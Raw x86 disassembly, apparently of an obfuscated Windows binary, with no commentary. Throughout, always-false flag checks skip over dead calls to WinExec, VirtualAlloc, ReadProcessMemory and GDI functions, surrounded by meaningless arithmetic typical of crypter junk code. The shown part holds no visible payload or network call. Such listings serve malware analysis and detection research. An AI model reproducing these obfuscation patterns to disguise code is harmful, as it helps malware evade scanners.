mov dword [ebp - 0x498], 1
jmp 0x42d291
and dword [ebp - 0x498], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c]
mov ecx, dword [ebp - 0x498]
lea esi, [ecx + eax + 0x9cea]
push 1
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp esi, dword [eax]
jne 0x42d2dc
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp dword [eax], 0
jne 0x42d2dc
and dword [ebp - 0x3e0], 0
jmp 0x42d2e6
mov dword [ebp - 0x3e0], 1
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x7c]
add esi, dword [ebp - 0x3e0]
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp esi, dword [eax]
jg 0x42d31b
mov dword [ebp - 0x270], 1
jmp 0x42d322
and dword [ebp - 0x270], 0
push 2
lea ecx, [ebp - 0x5f8]
call fcn.0042f416
mov ecx, dword [ebp - 0x270]
mov dword [eax], ecx
cmp dword [ebp - 0x2b4], 0xfffd
jbe 0x42d34f
mov dword [ebp - 0x274], 1
jmp 0x42d356
and dword [ebp - 0x274], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x7c]
push 0
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp esi, dword [eax]
jle 0x42d37d
mov dword [ebp - 0x284], 1
jmp 0x42d384
and dword [ebp - 0x284], 0
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x27c]
cmp eax, dword [ebp - 0x284]
jl 0x42d3aa
mov dword [ebp - 0x28c], 1
jmp 0x42d3b1
and dword [ebp - 0x28c], 0
push 0
lea ecx, [ebp - 0x5f8]
call fcn.0042f416
mov ecx, dword [ebp - 0x28c]
cmp ecx, dword [eax]
jg 0x42d3d4
mov dword [ebp - 0x294], 1
jmp 0x42d3db
and dword [ebp - 0x294], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7c]
cmp dword [ebp - 0x294], eax
jne 0x42d3f9
mov dword [ebp - 0x29c], 1
jmp 0x42d400
and dword [ebp - 0x29c], 0
push 2
lea ecx, [ebp - 0x5f8]
call fcn.0042f416
mov ecx, dword [ebp - 0x29c]
cmp ecx, dword [eax]
jne 0x42d423
mov dword [ebp - 0x2a4], 1
jmp 0x42d42a
and dword [ebp - 0x2a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7c]
cmp eax, dword [ebp - 0x2a4]
jl 0x42d448
mov dword [ebp - 0x1b4], 1
jmp 0x42d44f
and dword [ebp - 0x1b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b4]
mov dword [ebp + eax - 0x8e4], ecx
cmp dword [ebp - 0x1b4], 0
jne 0x42d486
push 2
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp dword [eax], 0
jne 0x42d486
and dword [ebp - 0x2ac], 0
jmp 0x42d490
mov dword [ebp - 0x2ac], 1
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
mov ecx, dword [ebp - 0x2ac]
cmp ecx, dword [eax]
jne 0x42d4d5
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp dword [eax], 0
je 0x42d4d5
mov dword [ebp - 0x2bc], 1
jmp 0x42d4dc
and dword [ebp - 0x2bc], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x2bc], eax
jne 0x42d4f6
mov dword [ebp - 0x2c4], 1
jmp 0x42d4fd
and dword [ebp - 0x2c4], 0
mov esi, dword [ebp - 0x2c4]
sub esi, 0x1a770aac
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp esi, dword [eax]
jl 0x42d52e
mov dword [ebp - 0x2cc], 1
jmp 0x42d535
and dword [ebp - 0x2cc], 0
cmp dword [ebp - 0x2cc], 0xffffffff
jne 0x42d54a
mov dword [ebp - 0x2d4], 1
jmp 0x42d551
and dword [ebp - 0x2d4], 0
cmp dword [ebp - 0x2d4], 0xfffffff7
jge 0x42d566
mov dword [ebp - 0x2dc], 1
jmp 0x42d56d
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x2e4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp + eax - 0x778], ecx
jmp 0x42d135
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x42d5ad
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [ebp - 0x5f8]
call fcn.0042f3fa
lea ecx, [ebp - 0x160]
call fcn.0042f3fa
mov dword [ebp - 0xa4], 1
push 4
lea ecx, [ebp - 0x54c]
call fcn.0042f328
mov dword [ebp - 0x134], 0
jmp 0x42d5f3
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 4
jge 0x42d612
push dword [ebp - 0x134]
lea ecx, [ebp - 0x54c]
call fcn.0042f416
or dword [eax], 0xffffffff
jmp 0x42d5e6
mov esi, dword [ebp - 0xa4]
push 3
lea ecx, [ebp - 0x54c]
call fcn.0042f416
mov dword [eax], esi
mov dword [ebp - 0xa4], 3
jmp 0x42d640
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jl 0x42d7ba
mov dword [ebp - 0x90], 0xffffffff
mov esi, dword [ebp - 0xa4]
push 3
lea ecx, [ebp - 0x54c]
call fcn.0042f416
cmp esi, dword [eax]
jge 0x42d67a
mov dword [ebp - 0x2fc], 1
jmp 0x42d681
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0xa4], 0
jg 0x42d6a2
mov dword [ebp - 0x2ec], 1
jmp 0x42d6a9
and dword [ebp - 0x2ec], 0
push 3
lea ecx, [ebp - 0x54c]
call fcn.0042f416
mov eax, dword [eax]
neg eax
cmp eax, dword [ebp - 0x2ec]
jle 0x42d6ce
mov dword [ebp - 0x2f4], 1
jmp 0x42d6d5
and dword [ebp - 0x2f4], 0
mov eax, dword [ebp - 0x90]
imul eax, dword [ebp - 0x2f4]
imul eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x90]
jge 0x42d6fd
mov dword [ebp - 0x304], 1
jmp 0x42d704
and dword [ebp - 0x304], 0
push 3
lea ecx, [ebp - 0x54c]
call fcn.0042f416
mov ecx, dword [ebp - 0x304]
sub ecx, dword [eax]
je 0x42d757
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x42d737
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x42d755
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
jmp 0x42d76b
push 3
lea ecx, [ebp - 0x54c]
call fcn.0042f416
cmp dword [eax], 0
je 0x42d76b
jmp 0x42d7ba
mov dword [ebp - 0x90], 0
jmp 0x42d784
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jg 0x42d7b5
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x42d7b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x42d777
jmp 0x42d633
lea ecx, [ebp - 0x54c]
call fcn.0042f3fa
xor eax, eax
jmp 0x42ee17
mov dword [ebp - 8], 0x90ac204e
mov dword [ebp - 0x314], 0x6559653e
mov dword [ebp - 0xe4], 8
mov dword [ebp - 0x71c], 0xfffffff9
mov dword [ebp - 8], 0xffffffff
jmp 0x42d801
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffed
jl 0x42d832
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x42d830
push 0xb95
push 0xce5
push 0x10f5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x42d7fa
mov eax, dword [ebp - 8]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x794], eax
imul eax, dword [ebp - 8], 0xaf9d
cmp eax, dword [ebp - 8]
je 0x42d85c
mov dword [ebp - 0x5d0], 1
jmp 0x42d863
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x77c], eax
mov eax, dword [ebp - 8]
cmp dword [ebp - 8], eax
jg 0x42d880
mov dword [ebp - 0x30c], 1
jmp 0x42d887
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x30c]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x314]
add eax, 0x36a5
jne 0x42d8b3
cmp dword [ebp - 8], 0
jne 0x42d8b3
and dword [ebp - 0x31c], 0
jmp 0x42d8bd
mov dword [ebp - 0x31c], 1
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x31c], eax
jg 0x42d8d7
mov dword [ebp - 0x674], 1
jmp 0x42d8de
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0xe4]
imul eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xe4]
jle 0x42d8ff
mov dword [ebp - 0x5d8], 1
jmp 0x42d906
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x79c], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xe4]
cmp eax, 0x5db5
jge 0x42d92b
mov dword [ebp - 0x324], 1
jmp 0x42d932
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x324]
neg eax
cmp eax, dword [ebp - 8]
jne 0x42d94e
mov dword [ebp - 0x624], 1
jmp 0x42d955
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 8], 0x90ae
jle 0x42d973
mov dword [ebp - 0x5e0], 1
jmp 0x42d97a
and dword [ebp - 0x5e0], 0
imul eax, dword [ebp - 8], 0x30bc
mov dword [ebp - 8], eax
lea eax, [ebp - 0x788]
push eax
push dword [ebp - 0x1bc]
push 0x4b5e
push 1
push 1
push dword [ebp - 0xf4]
push 1
push 0x7c45
push 0x2c07
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1a4]
push eax
call fcn.0042a241
add esp, 0x2c
mov dword [ebp - 0xec], 9
mov dword [ebp - 0xec], 0
jmp 0x42d9e2
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xfffffff1
je 0x42da21
cmp dword [ebp - 0xec], 0
je 0x42d9f6
jmp 0x42da21
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x42da1f
push 0xb95
push 0xce5
push 0x10f5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x42d9d5
push 0x2248
push dword [ebp - 0x44]
push 0x2be7
push 0x2fc
push 0x91d
push 0
push 1
push 1
push 0x2090
push dword [ebp - 0xf4]
push 0x60a5
push 1
push dword [ebp + 8]
push 0
call fcn.004135b8
add esp, 0x38
push 3
lea ecx, [ebp - 0x210]
call fcn.0042f328
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x50], 0
jmp 0x42da81
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x42da9d
push dword [ebp - 0x50]
lea ecx, [ebp - 0x210]
call fcn.0042f416
mov dword [eax], 0xb3c692be
jmp 0x42da7a
mov dword [ebp - 0x50], 0
jmp 0x42daad
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x42dac3
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x90c], 0xc28c
jmp 0x42daa6
mov dword [ebp - 0x30], 0
jmp 0x42dad3
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x42dd2e
push dword [ebp - 0x30]
lea ecx, [ebp - 0x210]
call fcn.0042f416
cmp dword [eax], 0
je 0x42daf5
jmp 0x42dd2e
push 0
lea ecx, [ebp - 0x210]
call fcn.0042f416
cmp dword [eax], 0
je 0x42dcf7
mov dword [ebp - 0x38], 0xd1e814b7
mov dword [ebp - 0x38], 0
jmp 0x42db22
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jg 0x42dcf5
mov dword [ebp - 0x13c], 0x7383cc4
mov dword [ebp - 0x62c], 0x11ca4b38
cmp dword [ebp - 0x38], 0
jne 0x42dbe8
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x810], eax
push 1
lea ecx, [ebp - 0x210]
call fcn.0042f416
cmp dword [ebp - 0x13c], 0
jne 0x42db88
push dword [ebp - 0x30]
lea ecx, [ebp - 0x210]
call fcn.0042f416
cmp dword [eax], 0
jne 0x42db88
and dword [ebp - 0x32c], 0
jmp 0x42db92
mov dword [ebp - 0x32c], 1
push dword [ebp - 0x30]
lea ecx, [ebp - 0x210]
call fcn.0042f416
mov ecx, dword [ebp - 0x32c]
imul ecx, dword [eax]
test ecx, ecx
je 0x42dbcc
push dword [ebp - 0x30]
lea ecx, [ebp - 0x210]
call fcn.0042f416
cmp dword [eax], 0
je 0x42dbcc
mov dword [ebp - 0x334], 1
jmp 0x42dbd3
and dword [ebp - 0x334], 0
cmp dword [ebp - 0x334], 0x81826fbd
jne 0x42dbe8
and dword [ebp - 0x33c], 0
jmp 0x42dbf2
mov dword [ebp - 0x33c], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x33c]
jg 0x42dc09
mov dword [ebp - 0x644], 1
jmp 0x42dc10
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x790], eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x210]
call fcn.0042f416
cmp dword [eax], 0
je 0x42dc41
cmp dword [ebp - 0x38], 0
je 0x42dc41
mov dword [ebp - 0x344], 1
jmp 0x42dc48
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x344], eax
jle 0x42dc5f
mov dword [ebp - 0x34c], 1
jmp 0x42dc66
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x34c], eax
jg 0x42dc80
mov dword [ebp - 0x354], 1
jmp 0x42dc87
and dword [ebp - 0x354], 0
cmp dword [ebp - 0x354], 0xff06982b
jae 0x42dc9f
mov dword [ebp - 0x5e8], 1
jmp 0x42dca6
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x8ac], eax
mov eax, 0x7a9b
test eax, eax
jne 0x42dcbc
cmp dword [ebp - 0x38], 0
push 2
pop eax
sub eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x62c], eax
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x42dcf0
push 0
push 0x1eb7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x42db1b
jmp 0x42dd29
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x42dd29
push 0
push 0x1de7
push 0
push 0x267f
push 0x1036
push 0
push 0x5f5
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x42dacc
lea ecx, [ebp - 0x210]
call fcn.0042f3fa
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x1a4]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x14c], 0xfd3df75d
push 1
lea ecx, [ebp - 0x6fc]
call fcn.0042f328
mov dword [ebp - 0x588], 0xdd66408
mov dword [ebp - 0x144], 0
jmp 0x42dd88
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x42dda7
push dword [ebp - 0x144]
lea ecx, [ebp - 0x6fc]
call fcn.0042f416
and dword [eax], 0
jmp 0x42dd7b
mov dword [ebp - 0x14c], 0
jmp 0x42ddc0
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xfffffff8
jge 0x42df95
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x364], 0xffffffff
mov dword [ebp - 0x580], 0xfffffff8
mov dword [ebp - 0x594], 6
mov dword [ebp - 0x3c], 0
jmp 0x42de0c
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jg 0x42deb4
mov dword [ebp - 0x154], 0
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x42de41
push 0
push 0x1f90
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
mov dword [ebp - 0x154], 0
jmp 0x42de5a
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jl 0x42deaf
mov byte [ebp - 0x93], 0
movzx eax, byte [ebp - 0x93]
test eax, eax
je 0x42de8e
push 0x6d7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x42dead
push 0x33c
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x42de4d
jmp 0x42de05
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x35c]
add eax, 7
mov dword [ebp - 0x364], eax
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x7a0], eax
push 0
lea ecx, [ebp - 0x6fc]
call fcn.0042f416
mov ecx, dword [ebp - 0x588]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x3c]
jne 0x42df17
mov dword [ebp - 0x36c], 1
jmp 0x42df1e
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x36c]
jl 0x42df35
mov dword [ebp - 0x374], 1
jmp 0x42df3c
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x374]
shl eax, 2
cmp eax, dword [ebp - 0x580]
jg 0x42df59
mov dword [ebp - 0x37c], 1
jmp 0x42df60
and dword [ebp - 0x37c], 0
imul eax, dword [ebp - 0x37c], 0xfffe
cmp eax, 0xae7b
jg 0x42df7d
mov dword [ebp - 0x384], 1
jmp 0x42df84
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x594], eax
jmp 0x42ddb3
lea ecx, [ebp - 0x6fc]
call fcn.0042f3fa
cmp dword [ebp - 0x394], 0
je 0x42e08c
mov dword [ebp - 0x888], 0xffffffff
mov dword [ebp - 0x7a8], 0
mov dword [ebp - 0x820], 7
mov dword [ebp - 0x7b0], 0xfffffffa
mov dword [ebp - 0x164], 0
jmp 0x42dfee
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 1
jge 0x42e00a
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x38c], 0xf782a183
jmp 0x42dfe1
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x42e024
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x38c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x38c], eax
push dword [ebp - 0x394]
push 0x1105
push 0x6e7e
push dword [ebp - 0x44]
push 0
push 0x1131
push 0xc7d
push 0x5f79
push 1
push 1
push 0x670b
push 0x4df8
push 1
push 0x2b65
push 0x6357
push 0x5405
push 1
call fcn.00417336
add esp, 0x44
mov dword [ebp - 0x89c], 0xfffffffe
mov dword [ebp - 0x7b8], 0x2cb13638
mov dword [ebp - 0x828], 1
mov dword [ebp - 0x7c0], 0x82eac453
mov dword [ebp - 0x898], 0x126ff23b
mov dword [ebp - 0x7c8], 2
mov dword [ebp - 0x838], 0
mov dword [ebp - 0x7d0], 0
mov dword [ebp - 0x8a0], 0x29acd409
mov dword [ebp - 0x39c], 0xffff
mov dword [ebp - 0x58], 0
jmp 0x42e100
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x42e116
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x934], 0xf76ec751
jmp 0x42e0f9
mov dword [ebp - 0x58], 0
jmp 0x42e126
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x42e13c
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x91c], 0xb7e80d68
jmp 0x42e11f
mov eax, dword [ebp - 0x39c]
dec eax
mov dword [ebp - 0x39c], eax
push dword [ebp - 0x44]
call fcn.0041e6c2
pop ecx
test eax, eax
jne 0x42e455
mov dword [ebp - 0xac], 0x65121ac4
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x7d8], 0x8e51
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x801fc3ee
jae 0x42e1a1
mov dword [ebp - 0x3a4], 1
jmp 0x42e1a8
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
sub eax, 0x26b4b4ed
cmp eax, 0xffffffff
jg 0x42e1c4
mov dword [ebp - 0x3ec], 1
jmp 0x42e1cb
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x34], 0
je 0x42e1d5
cmp dword [ebp - 0x34], 0
cmp dword [ebp - 0x24], 0xd4856cd8
jb 0x42e1ea
mov dword [ebp - 0x3ac], 1
jmp 0x42e1f1
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x3ac], eax
jg 0x42e208
mov dword [ebp - 0x3b4], 1
jmp 0x42e20f
and dword [ebp - 0x3b4], 0
cmp dword [ebp - 0x3b4], 0x57f3
jl 0x42e227
mov dword [ebp - 0x3bc], 1
jmp 0x42e22e
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x3bc]
jne 0x42e245
mov dword [ebp - 0x3c4], 1
jmp 0x42e24c
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x3c4], eax
jge 0x42e263
mov dword [ebp - 0x3cc], 1
jmp 0x42e26a
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x3cc]
add eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x24]
jle 0x42e288
mov dword [ebp - 0x3d4], 1
jmp 0x42e28f
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x3d4]
test eax, eax
je 0x42e2af
cmp dword [ebp - 0x34], 0
je 0x42e2af
mov dword [ebp - 0x3dc], 1
jmp 0x42e2b6
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x3dc], eax
jle 0x42e2cd
mov dword [ebp - 0x3e4], 1
jmp 0x42e2d4
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x3e4], eax
je 0x42e2f1
cmp dword [ebp - 0x34], 0
je 0x42e2f1
mov dword [ebp - 0x3f4], 1
jmp 0x42e2f8
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0x3f4]
jg 0x42e312
mov dword [ebp - 0x3fc], 1
jmp 0x42e319
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x24], eax
jl 0x42e336
mov dword [ebp - 0x404], 1
jmp 0x42e33d
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], 0
jmp 0x42e356
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff7
jge 0x42e44e
push 3
lea ecx, [ebp - 0x884]
call fcn.0042f328
mov dword [ebp - 0x10c], 0
jmp 0x42e386
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jge 0x42e3a8
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x884]
call fcn.0042f416
mov dword [eax], 0x1670
jmp 0x42e379
mov dword [ebp - 0xac], 0
jmp 0x42e3c1
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jg 0x42e41a
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x42e418
push 0x13ec
push 0xd5e
push 0x10ea
push 0xd0c
push 0xdef
push 0x569
push 0xc21
push 0x1666
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
jmp 0x42e3b4
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x42e43e
push 0x11b9
push 0x1852
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [ebp - 0x884]
call fcn.0042f3fa
jmp 0x42e34f
xor eax, eax
jmp 0x42ee17
mov dword [ebp - 0x60], 0xfffffffd
mov dword [ebp - 0x454], 0xa955a63a
mov dword [ebp - 0x60], 0xfffffff7
jmp 0x42e476
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xffffffe7
jne 0x42e861
mov dword [ebp - 0x84], 0xfffffffb
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x57c], 0x602ff7a2
mov dword [ebp - 0x84], 8
jmp 0x42e4b7
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 5
jl 0x42e85c
mov dword [ebp - 0x6a8], 0xf2b29949
mov dword [ebp - 0x6a4], 0xf2b29949
mov dword [ebp - 0x6a0], 0xf2b29949
mov dword [ebp - 0x69c], 0xf2b29949
mov dword [ebp - 0x8c], 0xfffffff9
mov dword [ebp - 0x848], 0x29855eec
mov dword [ebp - 0x8c], 3
jmp 0x42e519
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x42e857
mov dword [ebp - 0x174], 0xabc106ec
mov dword [ebp - 0x18c], 0xe779066
mov dword [ebp - 0x16c], 0
jmp 0x42e553
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x42e56f
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x7e0], 0x9a6fdd8f
jmp 0x42e546
mov dword [ebp - 0x174], 0
jmp 0x42e588
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 3
jg 0x42e67b
mov dword [ebp - 0x17c], 0xcfaf425f
mov dword [ebp - 0x17c], 0
jmp 0x42e5b8
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 3
jg 0x42e65e
mov dword [ebp - 0x184], 0
jmp 0x42e5de
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jge 0x42e5fa
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x568], 0x5457d670
jmp 0x42e5d1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x568], 3
jmp 0x42e628
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x568]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x568], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x568], 0
jl 0x42e659
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x42e657
push 0x8ff
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x42e60d
jmp 0x42e5ab
mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x42e676
